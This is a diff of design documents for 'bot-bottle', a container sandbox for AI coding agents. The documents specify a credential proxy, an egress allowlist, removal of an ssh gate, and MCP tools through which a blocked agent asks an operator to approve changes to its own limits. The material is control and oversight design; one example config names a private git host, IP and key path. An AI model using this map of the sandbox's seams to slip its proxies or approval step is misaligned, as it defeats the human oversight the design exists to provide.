- **Example manifest.** Drop `ssh:` from `bot-bottle.example.json`.
|
||||
- **PRD 0007.** Add a `Status: Superseded by PRD 0009` header
|
||||
at the top of the document. Do not delete the file; the
|
||||
history of intent matters for the audit trail.
|
||||
@@ -138,19 +138,19 @@ the seams between ssh-gate and the rest of the system:
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- `claude_bottle/manifest.py` — delete `SshEntry`,
|
||||
- `bot_bottle/manifest.py` — delete `SshEntry`,
|
||||
`Bottle.ssh`, `_validate_no_shadow_route`; add the
|
||||
parse-fail branch.
|
||||
- `claude_bottle/ssh_gate.py` — delete.
|
||||
- `claude_bottle/backend/docker/ssh_gate.py` — delete.
|
||||
- `claude_bottle/backend/docker/provision/ssh.py` — delete.
|
||||
- `claude_bottle/backend/docker/backend.py` — drop
|
||||
- `bot_bottle/ssh_gate.py` — delete.
|
||||
- `bot_bottle/backend/docker/ssh_gate.py` — delete.
|
||||
- `bot_bottle/backend/docker/provision/ssh.py` — delete.
|
||||
- `bot_bottle/backend/docker/backend.py` — drop
|
||||
`DockerSSHGate` instantiation.
|
||||
- `claude_bottle/backend/docker/launch.py` — drop the
|
||||
- `bot_bottle/backend/docker/launch.py` — drop the
|
||||
ssh-gate start / stop from the `ExitStack`.
|
||||
- `claude_bottle/backend/docker/bottle_plan.py` — drop the
|
||||
- `bot_bottle/backend/docker/bottle_plan.py` — drop the
|
||||
ssh-gate plan field.
|
||||
- `claude_bottle/pipelock.py` — drop the `bottle.ssh`-derived
|
||||
- `bot_bottle/pipelock.py` — drop the `bottle.ssh`-derived
|
||||
branch in the allowlist render.
|
||||
- `tests/unit/test_ssh_gate.py` — delete.
|
||||
- `tests/integration/` — delete any ssh-gate-specific tests.
|
||||
@@ -160,7 +160,7 @@ the seams between ssh-gate and the rest of the system:
|
||||
helper.
|
||||
- `README.md` — drop the socat image box from the diagram and
|
||||
the matching bullet; drop `ssh:` from the manifest example.
|
||||
- `claude-bottle.example.json` — drop the `ssh` field.
|
||||
- `bot-bottle.example.json` — drop the `ssh` field.
|
||||
- `docs/prds/0007-ssh-egress-gate.md` — add a
|
||||
`Status: Superseded by PRD 0009` header at the top.
|
||||
|
||||
@@ -173,7 +173,7 @@ the seams between ssh-gate and the rest of the system:
|
||||
### External dependencies
|
||||
|
||||
Nothing added. The `alpine/socat` image is no longer pulled
|
||||
by claude-bottle; the cleanup of any existing local image is
|
||||
by bot-bottle; the cleanup of any existing local image is
|
||||
the user's choice (a single `docker image rm` if they care).
|
||||
|
||||
## Future work
|
||||
|
||||
@@ -51,7 +51,7 @@ already rely on.
|
||||
The research note
|
||||
[`agent-credential-proxy-landscape.md`](../research/agent-credential-proxy-landscape.md)
|
||||
surveys the existing tools and concludes that a small
|
||||
claude-bottle-specific reverse proxy is less work and less risk
|
||||
bot-bottle-specific reverse proxy is less work and less risk
|
||||
than either adopting nono (alpha, unaudited) or Infisical Agent
|
||||
Vault (TLS-MITM topology that doubles up on pipelock's CA stack).
|
||||
This PRD is the build.
|
||||
@@ -118,7 +118,7 @@ common upstreams (Anthropic, GitHub, Gitea, npm) as
|
||||
- **Cross-bottle credential sharing.** One proxy per bottle, same
|
||||
one-sidecar-per-agent posture as pipelock and git-gate.
|
||||
- **`claude --bare` mode.** Reads only `ANTHROPIC_API_KEY`, not
|
||||
the OAuth token. Not in claude-bottle's flow today.
|
||||
the OAuth token. Not in bot-bottle's flow today.
|
||||
- **MCP-server tokens, package-installer tokens for languages
|
||||
beyond npm.** PyPI / Bun / cargo can land in a follow-up if
|
||||
needed; the routing pattern generalizes.
|
||||
@@ -175,7 +175,7 @@ common upstreams (Anthropic, GitHub, Gitea, npm) as
|
||||
side-effect-free; `start` does `docker create` + `docker start`
|
||||
on the bottle's internal network with hostname `cred-proxy`;
|
||||
`stop` is idempotent `docker rm -f`. Container name:
|
||||
`claude-bottle-cred-proxy-<slug>`. The agent container starts
|
||||
`bot-bottle-cred-proxy-<slug>`. The agent container starts
|
||||
after the sidecar is up so DNS resolution succeeds on the
|
||||
agent's first call.
|
||||
- **pipelock interop.** cred-proxy's outbound HTTPS traverses
|
||||
@@ -230,7 +230,7 @@ common upstreams (Anthropic, GitHub, Gitea, npm) as
|
||||
```
|
||||
┌── Host (macOS) ──────────────────────────────────────────────────┐
|
||||
│ Secrets at rest (keychain / .env): │
|
||||
│ CLAUDE_BOTTLE_OAUTH_TOKEN, GITHUB_TOKEN, │
|
||||
│ BOT_BOTTLE_OAUTH_TOKEN, GITHUB_TOKEN, │
|
||||
│ GITEA_SERVER_TOKEN, NPM_TOKEN │
|
||||
│ │ docker run -e KEY (no =VALUE on argv) │
|
||||
│ ▼ │
|
||||
@@ -288,18 +288,18 @@ Why the agent can't reach the sidecar's environ:
|
||||
|
||||
### New components
|
||||
|
||||
- **`claude_bottle/cred_proxy.py`** (new): abstract `CredProxy`
|
||||
- **`bot_bottle/cred_proxy.py`** (new): abstract `CredProxy`
|
||||
+ `CredProxyPlan` dataclass. `prepare` is host-side and
|
||||
side-effect-free; renders the route table and resolves
|
||||
`TokenRef`s against host env. Mirrors the existing `GitGate` /
|
||||
`Pipelock` shape.
|
||||
- **`claude_bottle/backend/docker/cred_proxy.py`** (new):
|
||||
- **`bot_bottle/backend/docker/cred_proxy.py`** (new):
|
||||
`DockerCredProxy` concrete subclass. `start` does
|
||||
`docker create` on the bottle's internal network with hostname
|
||||
`cred-proxy`, copies the route-table file into the container,
|
||||
then `docker start`. `stop` is idempotent `docker rm -f`.
|
||||
Container name: `claude-bottle-cred-proxy-<slug>`.
|
||||
- **`claude_bottle/backend/docker/provision/cred_proxy.py`**
|
||||
Container name: `bot-bottle-cred-proxy-<slug>`.
|
||||
- **`bot_bottle/backend/docker/provision/cred_proxy.py`**
|
||||
(new): renders `ANTHROPIC_BASE_URL`, `~/.npmrc`,
|
||||
`~/.gitconfig` `insteadOf` blocks, and `~/.config/tea/config.yml`
|
||||
into the agent's home for each declared kind — all pointing at
|
||||
@@ -310,12 +310,12 @@ Why the agent can't reach the sidecar's environ:
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **`claude_bottle/manifest.py`** — add `CredProxyRoute`,
|
||||
- **`bot_bottle/manifest.py`** — add `CredProxyRoute`,
|
||||
`CredProxyConfig`, `Bottle.cred_proxy: CredProxyConfig`. Parse
|
||||
+ validate route shape, role enum, path uniqueness, singleton-
|
||||
role constraints.
|
||||
- **`claude_bottle/backend/docker/prepare.py`** — drop the
|
||||
legacy `CLAUDE_BOTTLE_OAUTH_TOKEN` → `CLAUDE_CODE_OAUTH_TOKEN`
|
||||
- **`bot_bottle/backend/docker/prepare.py`** — drop the
|
||||
legacy `BOT_BOTTLE_OAUTH_TOKEN` → `CLAUDE_CODE_OAUTH_TOKEN`
|
||||
forward entirely. cred-proxy is the only path the Anthropic
|
||||
OAuth token reaches the bottle. When a route claims the
|
||||
`anthropic-base-url` role, write `ANTHROPIC_BASE_URL`
|
||||
@@ -324,27 +324,27 @@ Why the agent can't reach the sidecar's environ:
|
||||
otherwise; the proxy strips & replaces on every request).
|
||||
Bottles that need claude-code to authenticate must declare
|
||||
the route; there is no fallback.
|
||||
- **`claude_bottle/backend/docker/backend.py`** — instantiate
|
||||
- **`bot_bottle/backend/docker/backend.py`** — instantiate
|
||||
`DockerCredProxy` alongside `DockerPipelockProxy` and
|
||||
`DockerGitGate`; thread its `prepare` / `start` / `stop`
|
||||
through `resolve_plan` / `launch`.
|
||||
- **`claude_bottle/backend/docker/launch.py`** — add cred-proxy
|
||||
- **`bot_bottle/backend/docker/launch.py`** — add cred-proxy
|
||||
start/stop to the `ExitStack` after pipelock and before the
|
||||
agent; populate `pipelock_proxy_url` + `pipelock_ca_host_path`
|
||||
on the cred-proxy plan so its outbound HTTPS routes through
|
||||
pipelock.
|
||||
- **`claude_bottle/backend/docker/bottle_plan.py`** — new
|
||||
- **`bot_bottle/backend/docker/bottle_plan.py`** — new
|
||||
`cred_proxy_plan` field; preflight shows route count + token
|
||||
refs + a path→upstream line per route; `to_dict` emits a
|
||||
`cred_proxy` array of `{path, upstream, auth_scheme, token_ref,
|
||||
roles}`.
|
||||
- **`claude_bottle/pipelock.py`** — `pipelock_token_hosts` derives
|
||||
- **`bot_bottle/pipelock.py`** — `pipelock_token_hosts` derives
|
||||
from each route's `UpstreamHost` (not a hardcoded Kind→hosts
|
||||
map). Allowlist auto-includes them; passthrough does not (the
|
||||
proxy trusts pipelock's CA so MITM works).
|
||||
- **`README.md`** — architecture diagram includes the cred-proxy
|
||||
lane; manifest section documents `bottle.cred_proxy.routes`.
|
||||
- **`claude-bottle.example.json`** — one bottle demonstrates the
|
||||
- **`bot-bottle.example.json`** — one bottle demonstrates the
|
||||
four common routes (Anthropic, GitHub, Gitea, npm).
|
||||
- **Tests** — manifest parsing/validation, route lift + token-env
|
||||
slot assignment, role-based dispatch in the provisioner,
|
||||
|
||||
@@ -6,11 +6,11 @@
|
||||
|
||||
## Summary
|
||||
|
||||
Replace the single-file `claude-bottle.json` manifest with a
|
||||
Replace the single-file `bot-bottle.json` manifest with a
|
||||
per-file Markdown-with-YAML-frontmatter layout. Bottles live as
|
||||
`$HOME/.claude-bottle/bottles/<name>.md`; agents live as
|
||||
`$HOME/.claude-bottle/agents/<name>.md` (home-resident) and
|
||||
`$CWD/.claude-bottle/agents/<name>.md` (repo-supplied). Each file
|
||||
`$HOME/.bot-bottle/bottles/<name>.md`; agents live as
|
||||
`$HOME/.bot-bottle/agents/<name>.md` (home-resident) and
|
||||
`$CWD/.bot-bottle/agents/<name>.md` (repo-supplied). Each file
|
||||
carries its structured config in YAML frontmatter and (for agents)
|
||||
its system prompt in the Markdown body.
|
||||
|
||||
@@ -28,7 +28,7 @@ PyYAML dependency. The project's "low deps by default" stance
|
||||
|
||||
## Problem
|
||||
|
||||
`claude-bottle.json` works fine at one bottle and one agent. The
|
||||
`bot-bottle.json` works fine at one bottle and one agent. The
|
||||
project is heading for many of both, and the single-JSON shape
|
||||
starts to fray:
|
||||
|
||||
@@ -60,22 +60,22 @@ axes (grouping × format) and lands on this design.
|
||||
|
||||
Each test runs against a temporary `$HOME` and a temporary `$CWD`:
|
||||
|
||||
1. **A bottle file under `$HOME/.claude-bottle/bottles/`
|
||||
1. **A bottle file under `$HOME/.bot-bottle/bottles/`
|
||||
parses.** A `dev.md` file with YAML frontmatter declaring
|
||||
`cred_proxy.routes`, `git`, `env`, `egress` produces a Bottle
|
||||
dataclass equivalent to the current JSON shape.
|
||||
|
||||
2. **An agent file under `$HOME/.claude-bottle/agents/` parses.**
|
||||
2. **An agent file under `$HOME/.bot-bottle/agents/` parses.**
|
||||
`implementer.md` with frontmatter that names `bottle:`,
|
||||
`skills:`, and other fields, with the body as the system
|
||||
prompt, produces an Agent dataclass.
|
||||
|
||||
3. **An agent file under `$CWD/.claude-bottle/agents/` parses
|
||||
3. **An agent file under `$CWD/.bot-bottle/agents/` parses
|
||||
and overrides home-resident agents of the same name.** The
|
||||
cwd agent's frontmatter and body win; the home bottle it
|
||||
references stays intact.
|
||||
|
||||
4. **A bottle file under `$CWD/.claude-bottle/bottles/` is
|
||||
4. **A bottle file under `$CWD/.bot-bottle/bottles/` is
|
||||
ignored.** The directory does not contribute to the
|
||||
manifest; if a user accidentally creates one, the launcher
|
||||
emits a `warn`-level log naming the offending files and
|
||||
@@ -83,7 +83,7 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`:
|
||||
is a usability nicety, not a security gate.
|
||||
|
||||
5. **No third-party Python dependencies introduced.** A fresh
|
||||
clone with only stdlib + claude-bottle's own code runs every
|
||||
clone with only stdlib + bot-bottle's own code runs every
|
||||
parser test. Frontmatter parsing is hand-rolled against the
|
||||
declared YAML subset.
|
||||
|
||||
@@ -97,30 +97,30 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`:
|
||||
`name`, `description`, `model`, `color`, and `memory` fields
|
||||
from Claude Code's existing subagent spec are accepted in
|
||||
our frontmatter alongside our own fields. Copying an agent
|
||||
file from `$HOME/.claude-bottle/agents/` to
|
||||
file from `$HOME/.bot-bottle/agents/` to
|
||||
`~/.claude/agents/` produces a working Claude Code subagent
|
||||
(subject to Claude Code's tolerance for the extra `bottle:`
|
||||
and `claude_bottle:` fields — see Open Questions).
|
||||
and `bot_bottle:` fields — see Open Questions).
|
||||
|
||||
## Non-goals
|
||||
|
||||
- **A general YAML implementation.** The parser handles the
|
||||
subset claude-bottle's frontmatter actually uses; documents
|
||||
subset bot-bottle's frontmatter actually uses; documents
|
||||
that exceed the subset (anchors, multi-line block scalars,
|
||||
tags, implicit type coercion, flow style, etc.) die with a
|
||||
pointer at the spec. We are not building a YAML library.
|
||||
|
||||
- **Compatibility with the old JSON layout at runtime.** The
|
||||
resolver no longer reads `claude-bottle.json` files. This is
|
||||
resolver no longer reads `bot-bottle.json` files. This is
|
||||
a breaking change; existing users hand-rewrite their JSON
|
||||
into the new per-file layout (claude-bottle has a single
|
||||
into the new per-file layout (bot-bottle has a single
|
||||
primary user today, so the migration is one person rewriting
|
||||
one file). Documented as part of the README rewrite.
|
||||
|
||||
- **`$HOME/.claude/agents/` integration on the input side.** We
|
||||
don't read agent files out of Claude Code's directory. Our
|
||||
files can be copied into Claude Code's tree by the user if
|
||||
they want, but the input path for claude-bottle is its own
|
||||
they want, but the input path for bot-bottle is its own
|
||||
directory.
|
||||
|
||||
- **A signed-manifest scheme.** Out of scope per the
|
||||
@@ -139,14 +139,14 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`:
|
||||
### In scope
|
||||
|
||||
- **Directory layout.**
|
||||
- `$HOME/.claude-bottle/bottles/<name>.md` — bottle
|
||||
- `$HOME/.bot-bottle/bottles/<name>.md` — bottle
|
||||
definitions (full schema; one Bottle per file).
|
||||
- `$HOME/.claude-bottle/agents/<name>.md` — home-resident
|
||||
- `$HOME/.bot-bottle/agents/<name>.md` — home-resident
|
||||
agents.
|
||||
- `$CWD/.claude-bottle/agents/<name>.md` — cwd-resident
|
||||
- `$CWD/.bot-bottle/agents/<name>.md` — cwd-resident
|
||||
agents; same schema as home agents, but bottle names must
|
||||
resolve against the home set.
|
||||
- `$CWD/.claude-bottle/bottles/` — ignored with a warn-level
|
||||
- `$CWD/.bot-bottle/bottles/` — ignored with a warn-level
|
||||
log (see SC #4). Does not contribute to the manifest.
|
||||
- `<name>` is the file basename without `.md`. Filenames must
|
||||
match `[a-z][a-z0-9-]*` (kebab-case, ASCII-only).
|
||||
@@ -162,7 +162,7 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`:
|
||||
- `skills: [<name>, ...]` (optional) — host-side skills under
|
||||
`~/.claude/skills/`.
|
||||
- `name`, `description`, `model`, `color`, `memory` — accepted
|
||||
but treated as Claude Code passthrough; claude-bottle
|
||||
but treated as Claude Code passthrough; bot-bottle
|
||||
ignores them at launch but doesn't reject. Lets the same
|
||||
file double as a Claude Code subagent.
|
||||
- Unknown top-level keys die with a hint listing accepted
|
||||
@@ -191,17 +191,17 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`:
|
||||
the required-keys check — same diagnostic as malformed).
|
||||
|
||||
- **Manifest assembly.** New resolver:
|
||||
1. Walk `$HOME/.claude-bottle/bottles/*.md` → Bottle dict
|
||||
1. Walk `$HOME/.bot-bottle/bottles/*.md` → Bottle dict
|
||||
keyed by filename.
|
||||
2. Walk `$HOME/.claude-bottle/agents/*.md` → Agent dict.
|
||||
3. Walk `$CWD/.claude-bottle/agents/*.md` → Agent dict; merge
|
||||
2. Walk `$HOME/.bot-bottle/agents/*.md` → Agent dict.
|
||||
3. Walk `$CWD/.bot-bottle/agents/*.md` → Agent dict; merge
|
||||
into the home agent dict, cwd wins on name collision.
|
||||
4. Validate every agent's `bottle:` against the bottle dict.
|
||||
5. Warn if `$CWD/.claude-bottle/bottles/` exists with files.
|
||||
5. Warn if `$CWD/.bot-bottle/bottles/` exists with files.
|
||||
6. Return Manifest dataclass — same shape as today.
|
||||
|
||||
- **Docs.** README's manifest section rewrites against the new
|
||||
layout. `claude-bottle.example.json` becomes
|
||||
layout. `bot-bottle.example.json` becomes
|
||||
`examples/bottles/dev.md` + `examples/agents/implementer.md`.
|
||||
The PRD 0010 example block in its own document gets a
|
||||
follow-up commit noting the new layout (out of scope for
|
||||
@@ -233,7 +233,7 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`:
|
||||
### File layout
|
||||
|
||||
```
|
||||
$HOME/.claude-bottle/
|
||||
$HOME/.bot-bottle/
|
||||
├── bottles/
|
||||
│ ├── dev.md
|
||||
│ ├── gitea-dev.md
|
||||
@@ -243,7 +243,7 @@ $HOME/.claude-bottle/
|
||||
├── researcher.md
|
||||
└── ...
|
||||
|
||||
$CWD/.claude-bottle/
|
||||
$CWD/.bot-bottle/
|
||||
└── agents/
|
||||
└── <repo-specific>.md
|
||||
```
|
||||
@@ -261,7 +261,7 @@ cred_proxy:
|
||||
- path: /anthropic/
|
||||
upstream: https://api.anthropic.com
|
||||
auth_scheme: Bearer
|
||||
token_ref: CLAUDE_BOTTLE_OAUTH_TOKEN
|
||||
token_ref: BOT_BOTTLE_OAUTH_TOKEN
|
||||
role: anthropic-base-url
|
||||
- path: /gitea/dideric/
|
||||
upstream: https://gitea.dideric.is
|
||||
@@ -271,8 +271,8 @@ cred_proxy:
|
||||
git:
|
||||
remotes:
|
||||
gitea.dideric.is:
|
||||
Name: claude-bottle
|
||||
Upstream: ssh://git@gitea.dideric.is:30009/didericis/claude-bottle.git
|
||||
Name: bot-bottle
|
||||
Upstream: ssh://git@gitea.dideric.is:30009/didericis/bot-bottle.git
|
||||
IdentityFile: ~/.ssh/gitea-delos-2.pem
|
||||
ExtraHosts:
|
||||
gitea.dideric.is: 100.78.141.42
|
||||
@@ -302,7 +302,7 @@ skills:
|
||||
---
|
||||
|
||||
You are a feature-implementation agent running inside an
|
||||
ephemeral claude-bottle sandbox...
|
||||
ephemeral bot-bottle sandbox...
|
||||
```
|
||||
|
||||
Drop the same file into `~/.claude/agents/implementer.md` and
|
||||
@@ -336,7 +336,7 @@ Notable rejections (each dies with a specific error):
|
||||
be ambiguous, quote it.
|
||||
- Flow style mappings nested more than one level deep.
|
||||
|
||||
Parser lives at `claude_bottle/yaml_subset.py`, ~300 lines.
|
||||
Parser lives at `bot_bottle/yaml_subset.py`, ~300 lines.
|
||||
Public API:
|
||||
|
||||
```python
|
||||
@@ -348,14 +348,14 @@ def parse_frontmatter(text: str) -> tuple[dict[str, object], str]:
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **`claude_bottle/manifest.py`** — `Manifest.resolve` rewritten
|
||||
- **`bot_bottle/manifest.py`** — `Manifest.resolve` rewritten
|
||||
to walk the new directories. `Manifest.from_json_obj` kept as
|
||||
a programmatic entry point (used by tests). New
|
||||
`Manifest.from_md_dirs(home_dir, cwd_dir)` for the loader.
|
||||
- **`claude_bottle/yaml_subset.py`** — new. The parser.
|
||||
- **`bot_bottle/yaml_subset.py`** — new. The parser.
|
||||
- **`README.md`** — manifest section rewritten against the new
|
||||
layout.
|
||||
- **`claude-bottle.example.json`** — removed; replaced by an
|
||||
- **`bot-bottle.example.json`** — removed; replaced by an
|
||||
`examples/` directory with one bottle file + one agent file.
|
||||
- **Tests** — new parser tests + new loader tests; existing
|
||||
manifest tests adapt to either build via `from_json_obj`
|
||||
@@ -368,12 +368,12 @@ etc. all stay the same shape. Only the loader changes.
|
||||
|
||||
### Backward compatibility
|
||||
|
||||
This is a breaking change for v1 users. claude-bottle has a
|
||||
This is a breaking change for v1 users. bot-bottle has a
|
||||
single primary user today, so migration is one person rewriting
|
||||
one file — no automated migration command is in scope.
|
||||
|
||||
If `claude-bottle.json` exists in `$HOME` or `$CWD` *and* the
|
||||
new `.claude-bottle/` directory does not exist, the resolver
|
||||
If `bot-bottle.json` exists in `$HOME` or `$CWD` *and* the
|
||||
new `.bot-bottle/` directory does not exist, the resolver
|
||||
dies with a clear pointer at the README's manifest section —
|
||||
not silently merging formats, not silently dropping the JSON
|
||||
content.
|
||||
@@ -384,11 +384,11 @@ content.
|
||||
empirically before settling: drop a file with `bottle: dev`
|
||||
in `~/.claude/agents/` and see whether Claude Code warns,
|
||||
ignores, or breaks. If it warns, namespace the field
|
||||
(`claude-bottle-bottle:` or a nested `claude_bottle:` block).
|
||||
- **Hidden directory vs visible.** Default `.claude-bottle/`
|
||||
(`bot-bottle-bottle:` or a nested `bot_bottle:` block).
|
||||
- **Hidden directory vs visible.** Default `.bot-bottle/`
|
||||
(hidden — matches `.config/`, `.ssh/`, `.docker/`). If users
|
||||
routinely want to navigate to it from the file manager,
|
||||
switch to `claude-bottle/`. Lean hidden.
|
||||
switch to `bot-bottle/`. Lean hidden.
|
||||
- **`description:` for bottles.** Should bottle frontmatter
|
||||
carry a `description:` field for the y/N preflight? Default
|
||||
no — bottle names are kebab-case and self-describing, and
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## Summary
|
||||
|
||||
When an agent running inside a claude-bottle container gets blocked, it invokes one of three MCP tool calls — `cred-proxy-block`, `pipelock-block`, or `capability-block` — passing a *proposed* config change (modified `routes.json`, modified pipelock allowlist, or modified agent Dockerfile) plus text describing why the change is justified. The supervisor sees the proposal in a host-side TUI, approves / modifies / rejects it, and the corresponding remediation runs: SIGHUP-reload cred-proxy with the new routes; restart pipelock with the new allowlist; rebuild the bottle from the new Dockerfile on the same branch. The agent's tool call blocks until the operator acts. The supervisor never opens a live channel into a running bottle; all signal flow goes through a per-bottle MCP sidecar on the existing internal network.
|
||||
When an agent running inside a bot-bottle container gets blocked, it invokes one of three MCP tool calls — `cred-proxy-block`, `pipelock-block`, or `capability-block` — passing a *proposed* config change (modified `routes.json`, modified pipelock allowlist, or modified agent Dockerfile) plus text describing why the change is justified. The supervisor sees the proposal in a host-side TUI, approves / modifies / rejects it, and the corresponding remediation runs: SIGHUP-reload cred-proxy with the new routes; restart pipelock with the new allowlist; rebuild the bottle from the new Dockerfile on the same branch. The agent's tool call blocks until the operator acts. The supervisor never opens a live channel into a running bottle; all signal flow goes through a per-bottle MCP sidecar on the existing internal network.
|
||||
|
||||
This PRD is the overview. Implementation is split across four follow-on PRDs (0013–0016); see *Implementation chunks* below.
|
||||
|
||||
@@ -29,7 +29,7 @@ A real stuck agent recovers end-to-end in each of the three categories: a **cred
|
||||
|
||||
Three named categories, each with its own MCP tool. Ordered by remediation cost:
|
||||
|
||||
- **cred-proxy block.** Tool: `cred-proxy-block`. The agent's request was refused by cred-proxy — missing route, expired token, wrong scope. The agent reads the current `routes.json` from `/etc/claude-bottle/current-config/`, composes a modified version, and calls the tool with `{routes: <new file>, justification: "..."}`. The operator reviews the diff in the TUI; on approval, the supervisor writes the new `routes.json` and cred-proxy SIGHUP-reloads. In-flight connections are not dropped. The tool returns `{status: "approved", notes: "..."}` and the agent retries. Implementation: PRD 0014.
|
||||
- **cred-proxy block.** Tool: `cred-proxy-block`. The agent's request was refused by cred-proxy — missing route, expired token, wrong scope. The agent reads the current `routes.json` from `/etc/bot-bottle/current-config/`, composes a modified version, and calls the tool with `{routes: <new file>, justification: "..."}`. The operator reviews the diff in the TUI; on approval, the supervisor writes the new `routes.json` and cred-proxy SIGHUP-reloads. In-flight connections are not dropped. The tool returns `{status: "approved", notes: "..."}` and the agent retries. Implementation: PRD 0014.
|
||||
- **pipelock block.** Tool: `pipelock-block`. The agent's outbound request was refused by pipelock — host not in the allowlist, protocol not permitted. The agent reads the current allowlist, composes a modified version, and calls the tool with `{allowlist: <new file>, justification: "..."}`. On approval, the supervisor writes the new allowlist and restarts pipelock; in-flight outbound calls may drop and rely on retry. The tool returns the same approve/reject shape. Implementation: PRD 0015.
|
||||
- **capability block.** Tool: `capability-block`. The bottle is missing a tool, skill, permission, or env var the agent needs — something that lives in the agent Dockerfile rather than in routes or the pipelock allowlist. The agent reads the current Dockerfile, composes a modified version, and calls the tool with `{dockerfile: <new file>, justification: "..."}`. On approval, the rebuild orchestrator tears down the bottle, builds from the new Dockerfile, and starts a replacement bottle on the same branch via the state-preservation helper. Because the current agent is about to be replaced, the tool's return is best-effort — the replacement agent inherits the approval record via the preserved transcript. Implementation: PRD 0016.
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
|
||||
## Summary
|
||||
|
||||
The shared infrastructure that PRDs 0014–0016 build on. Adds a per-bottle MCP sidecar that exposes three tools (`cred-proxy-block`, `pipelock-block`, `capability-block`) to the agent; a read-only `/etc/claude-bottle/current-config/` mount in the agent container that exposes the current `routes.json`, pipelock allowlist, and Dockerfile; a host-mounted proposal queue; a minimal TUI dashboard that lists pending proposals and supports approve / modify / reject; and the audit log format. After this PRD, an operator can see proposals and approve/reject them — but the approval handlers are no-ops. The remediation engines that actually act on approvals land in 0014, 0015, and 0016.
|
||||
The shared infrastructure that PRDs 0014–0016 build on. Adds a per-bottle MCP sidecar that exposes three tools (`cred-proxy-block`, `pipelock-block`, `capability-block`) to the agent; a read-only `/etc/bot-bottle/current-config/` mount in the agent container that exposes the current `routes.json`, pipelock allowlist, and Dockerfile; a host-mounted proposal queue; a minimal TUI dashboard that lists pending proposals and supports approve / modify / reject; and the audit log format. After this PRD, an operator can see proposals and approve/reject them — but the approval handlers are no-ops. The remediation engines that actually act on approvals land in 0014, 0015, and 0016.
|
||||
|
||||
## Problem
|
||||
|
||||
@@ -33,10 +33,10 @@ See PRD 0012 for the broader stuck-agent problem. This PRD specifically addresse
|
||||
- A per-bottle MCP sidecar container on the bottle's internal network.
|
||||
- MCP tool definitions for `cred-proxy-block`, `pipelock-block`, `capability-block` (input schemas as defined in PRD 0012 *Stuck categories*).
|
||||
- Tool output: `{status: "approved"|"modified"|"rejected", notes: "..."}`.
|
||||
- A read-only mount at `/etc/claude-bottle/current-config/` in the agent container exposing the current `routes.json`, pipelock allowlist, and Dockerfile.
|
||||
- A host-mounted per-bottle proposal queue at `~/.claude-bottle/queue/<slug>/` (file-per-proposal, with metadata and proposed file content).
|
||||
- A `claude-bottle dashboard` (or similarly named) TUI that lists running bottles and pending proposals across all of them; supports approve, modify-then-approve, and reject-with-reason for each pending proposal.
|
||||
- Audit log files at `~/.claude-bottle/audit/cred-proxy-<slug>.log` and `~/.claude-bottle/audit/pipelock-<slug>.log` with the agreed-upon format (timestamp, diff before/after, justification text, operator action with notes). Entries are written by the supervisor on each approve/modify/reject decision. (capability-block has no separate audit log — capability changes are captured by the bottle's rebuild record / git history.)
|
||||
- A read-only mount at `/etc/bot-bottle/current-config/` in the agent container exposing the current `routes.json`, pipelock allowlist, and Dockerfile.
|
||||
- A host-mounted per-bottle proposal queue at `~/.bot-bottle/queue/<slug>/` (file-per-proposal, with metadata and proposed file content).
|
||||
- A `bot-bottle dashboard` (or similarly named) TUI that lists running bottles and pending proposals across all of them; supports approve, modify-then-approve, and reject-with-reason for each pending proposal.
|
||||
- Audit log files at `~/.bot-bottle/audit/cred-proxy-<slug>.log` and `~/.bot-bottle/audit/pipelock-<slug>.log` with the agreed-upon format (timestamp, diff before/after, justification text, operator action with notes). Entries are written by the supervisor on each approve/modify/reject decision. (capability-block has no separate audit log — capability changes are captured by the bottle's rebuild record / git history.)
|
||||
- Bottle lifecycle script changes to launch the MCP sidecar alongside the other sidecars and mount the read-only current-config directory.
|
||||
|
||||
### Out of scope
|
||||
@@ -49,15 +49,15 @@ See PRD 0012 for the broader stuck-agent problem. This PRD specifically addresse
|
||||
### New services / components
|
||||
|
||||
- **MCP sidecar.** New per-bottle container on the bottle's internal network. Exposes the three tools to the agent. On a tool call: validates the proposed file syntactically (valid JSON for `routes.json`, parseable Dockerfile, etc.), writes the proposal to the queue, and holds the tool-call connection open until the supervisor responds. Returns `{status, notes}` to the agent on response.
|
||||
- **Read-only current-config mount.** `/etc/claude-bottle/current-config/` in the agent container exposes `routes.json`, the pipelock allowlist, and the agent Dockerfile from the host. Read-only — the agent proposes changes via the tool call, never by writing the file directly.
|
||||
- **Proposal queue.** Per-bottle directory under `~/.claude-bottle/queue/<slug>/` on the host. One file per pending proposal with `{id, tool, proposed_file, justification, arrival_timestamp, current_file_hash, bottle_slug}`.
|
||||
- **Read-only current-config mount.** `/etc/bot-bottle/current-config/` in the agent container exposes `routes.json`, the pipelock allowlist, and the agent Dockerfile from the host. Read-only — the agent proposes changes via the tool call, never by writing the file directly.
|
||||
- **Proposal queue.** Per-bottle directory under `~/.bot-bottle/queue/<slug>/` on the host. One file per pending proposal with `{id, tool, proposed_file, justification, arrival_timestamp, current_file_hash, bottle_slug}`.
|
||||
- **Minimal TUI dashboard.** Lists running bottles and pending proposals. For each proposal: shows current vs. proposed diff and justification. Operator actions: approve / modify-then-approve / reject-with-reason. Stdlib only (curses) unless that proves painful.
|
||||
- **Audit log format.** Append-only files at `~/.claude-bottle/audit/<component>-<slug>.log`. Each entry: timestamp, diff before/after, agent justification (if from a tool call), operator action + notes. Defines the format; the per-component PRDs (0014, 0015) fill in real entries.
|
||||
- **Audit log format.** Append-only files at `~/.bot-bottle/audit/<component>-<slug>.log`. Each entry: timestamp, diff before/after, agent justification (if from a tool call), operator action + notes. Defines the format; the per-component PRDs (0014, 0015) fill in real entries.
|
||||
- **No-op approval handlers.** Each tool's approve path in 0013 writes an audit entry and returns `{status: "approved"}` to the agent but doesn't actually change any config. 0014 / 0015 / 0016 replace these with real handlers.
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- **Bottle lifecycle scripts** — launch the MCP sidecar alongside other sidecars; mount `/etc/claude-bottle/current-config/` read-only into the agent container.
|
||||
- **Bottle lifecycle scripts** — launch the MCP sidecar alongside other sidecars; mount `/etc/bot-bottle/current-config/` read-only into the agent container.
|
||||
